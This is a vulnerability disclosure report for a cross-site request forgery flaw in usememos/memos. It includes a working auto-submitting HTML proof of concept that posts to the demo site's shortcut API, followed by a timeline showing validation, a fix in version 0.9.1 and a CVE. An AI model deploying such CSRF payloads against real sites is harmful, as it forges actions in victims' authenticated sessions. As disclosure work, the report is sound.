CSRF to add shortcuts to victim account in usememos/memos

Valid

Reported on

Dec 28th 2022


Description

Cross-Site Request Forgery (CSRF) is an attack that forces authenticated users to submit a request to a Web application against which they are currently authenticated. CSRF attacks exploit the trust a Web application has in an authenticated user

Proof of Concept

1) Go to https://demo.usememos.com and login into your account 
2) Save the below CSRF POC as CSRF.html and open the file in the same browser 
3) You will see that the attackers shortcut has been added to victim account 

POC video: https://drive.google.com/file/d/1VzPaJ8WIdtncTiy9_HbWKfpy2aXq_xCs/view?usp=sharing

CSRF POC:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.usememos.com/api/shortcut" method="POST" enctype="text/plain">
      <input type="hidden" name="&#123;&quot;title&quot;&#58;&quot;hacked&quot;&#44;&quot;payload&quot;&#58;&quot;&#91;&#93;&quot;&#125;" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>



# Impact

A CSRF vulnerability can allow an attacker to force the change of a password and/or other personal information
We are processing your report and will contact the usememos/memos team within 24 hours. 12 days ago
We have contacted a member of the usememos/memos team and are waiting to hear back 11 days ago
STEVEN validated this vulnerability 11 days ago
Nehal Pillai has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
STEVEN marked this as fixed in 0.9.1 with commit c9bb2b 11 days ago
STEVEN has been awarded the fix bounty
This vulnerability has been assigned a CVE
STEVEN published this vulnerability 11 days ago
shortcut.go#L1-L53 has been validated
to join this conversation